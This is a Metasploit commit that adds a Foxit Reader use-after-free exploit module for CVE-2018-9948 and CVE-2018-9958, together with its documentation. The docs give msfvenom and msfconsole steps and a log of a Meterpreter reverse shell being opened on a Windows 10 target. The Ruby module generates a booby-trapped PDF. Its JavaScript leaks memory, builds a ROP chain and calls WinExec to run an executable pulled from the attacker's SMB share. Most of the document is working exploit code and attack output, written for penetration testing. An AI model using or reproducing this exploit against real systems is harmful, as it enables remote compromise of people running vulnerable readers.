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Add Foxit Reader UAF Module and Docs

GSoC/Meterpreter_Web_Console
Jacob Robles 2018-08-21 08:17:29 -05:00
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documentation/modules/exploit/windows/fileformat/foxit_reader_uaf.md Normal file
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## Description
Foxit Reader v9.0.1.1049 and earlier are affected by use-after-free and uninitialzed memory vulnerabilities that can be used to gain code execution. This module uses Uint32Array uninitialized memory and text annotation use-after-free vulnerabilities to call WinExec with a share file path to download and execute the specified exe. The module has been tested against Foxit Reader v9.0.1.1049 running on Windows 10 Pro x64 Build 17134.
## Vulnerable Application
[Foxit Reader v9.0.1.1049](https://www.exploit-db.com/apps/1040d634123948886f664afc95ec0a5e-FoxitReader901_enu_Setup_Prom.exe) and earlier
## Verification Steps
1. `./msfvenom -p windows/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> --arch x86 -f exe /share/path/tmp.exe`
2. `chmod 777 /share/path/tmp.exe`
3. `./msfconsole -qx 'use exploit/windows/fileformat/foxit_reader_uaf ; set exename tmp.exe ; set share <share> ; set lhost <lhost> ; run`
4. `use multi/handler`
5. `set payload windows/meterpreter/reverse_tcp`
6. `set lhost <lhost>`
9. `run -j`
10. Copy pdf over to target. Start Foxit Reader then open pdf from Foxit's Menu.
Note: The target machine running Foxit Reader will need network access to the system hosting the exe.
## Scenarios
### Foxit Reader v9.0.1.1049 running on Windows 10 Pro x64 Build 17134
```
msfdev@simulator:~/git/metasploit-framework
$ ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.22.222.197 LPORT=4444 --arch x86 -f exe -o /opt/malicious/tmp.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
Saved as: /opt/malicious/tmp.exe
msfdev@simulator:~/git/metasploit-framework
$ chmod 777 /opt/malicious/tmp.exe
msfdev@simulator:~/git/metasploit-framework
$ ./msfconsole -qx 'use exploit/windows/fileformat/foxit_reader_uaf ; set exename tmp.exe ; set share tmp ; set lhost 172.22.222.197 ; run '
exename => tmp.exe
share => tmp
lhost => 172.22.222.197
[*] share_path: \\172.22.222.197\tmp\tmp.exe
[+] test.pdf stored at /home/msfdev/.msf4/local/test.pdf
msf5 exploit(windows/fileformat/foxit_reader_uaf) > use multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 172.22.222.197
lhost => 172.22.222.197
msf5 exploit(multi/handler) > set exitonsession false
exitonsession => false
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 172.22.222.197:4444
[*] Sending stage (179779 bytes) to 172.22.222.200
[*] Meterpreter session 1 opened (172.22.222.197:4444 -> 172.22.222.200:49673) at 2018-08-21 07:50:34 -0500
msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : DESKTOP
OS : Windows 10 (Build 17134).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > getuid
Server username: DESKTOP\msfdev
```

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modules/exploits/windows/fileformat/foxit_reader_uaf.rb Normal file
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info={})
super(update_info(info,
'Name' => 'Foxit PDF Reader Pointer Overwrite UAF',
'Description' => %q{
Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability
in the Text Annotations component and the TypedArray's use
uninitialized pointers.
The vulnerabilities can be combined to leak a vtable memory address,
which can be adjusted to point to the base address of the executable.
A ROP chain can be constructed that will execute when Foxit Reader
performs the UAF.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me', # Use-after-free and PoC
'bit from meepwn', # Uninitialized pointer
'saelo', # JavaScript Garbage Collector
'Jacob Robles' # Metasploit Module
],
'References' =>
[
['CVE', '2018-9948'],
['CVE', '2018-9958'],
['ZDI', '18-332'],
['ZDI', '18-342'],
['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'],
['URL', 'https://srcincite.io/pocs/cve-2018-9958.pdf.txt']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => true,
'FILENAME' => 'test.pdf',
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
},
'Platform' => 'win',
'Targets' =>
[
['Windows 10 Pro x64 Build 17134', {}]
],
'DisclosureDate' => 'Apr 20 2018',
'DefaultTarget' => 0))
register_options([
OptString.new('EXENAME', [false, 'EXE file to download', '']),
OptString.new('SHARE', [false, 'SMB share hosting exe', ''])
])
end
def pdfdoc
share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['SHARE']
fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
fname << '.exe' unless fname.ends_with?('.exe')
share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}"
num = 4 - (share_path.length % 4)
share_path << "\x00"*num
return nil if share_path.length > 44
print_status("share_path: #{share_path}")
rop = ''
max_index = 0
share_path.unpack('V*').each_with_index {|blk, index|
rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk]
max_index = index
}
(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)}
<<~PDFDOC
%PDF
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (
var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];
function prepare_heap(size){
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}
function gc() {
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
function alloc_at_leak(){
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}
function control_memory(){
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}
function leak_vtable(){
var a = this.addAnnot({type: "Text"});
a.destroy();
gc();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
var leaked = stolen[0] & 0xffff0000;
foxit_base = leaked - 0x01f50000;
}
function leak_heap_chunk(){
var a = this.addAnnot({type: "Text"});
a.destroy();
prepare_heap(0x400);
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);
alloc_at_leak();
heap_ptr = stolen[1];
}
function reclaim(){
var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
#{rop}
rop[0x17] = 0x00000000; // adios, amigo
}
}
function trigger_uaf(){
var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {
that.getAnnot(0, "uaf").destroy();
reclaim();
return 1;
}
}
});
a.point = arr;
}
function main(){
leak_heap_chunk();
leak_vtable();
control_memory();
trigger_uaf();
}
if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}
)>> trailer <</Root 1 0 R>>
PDFDOC
end
def exploit
mypdf = pdfdoc
if mypdf.nil?
fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
end
file_create(mypdf)
end
end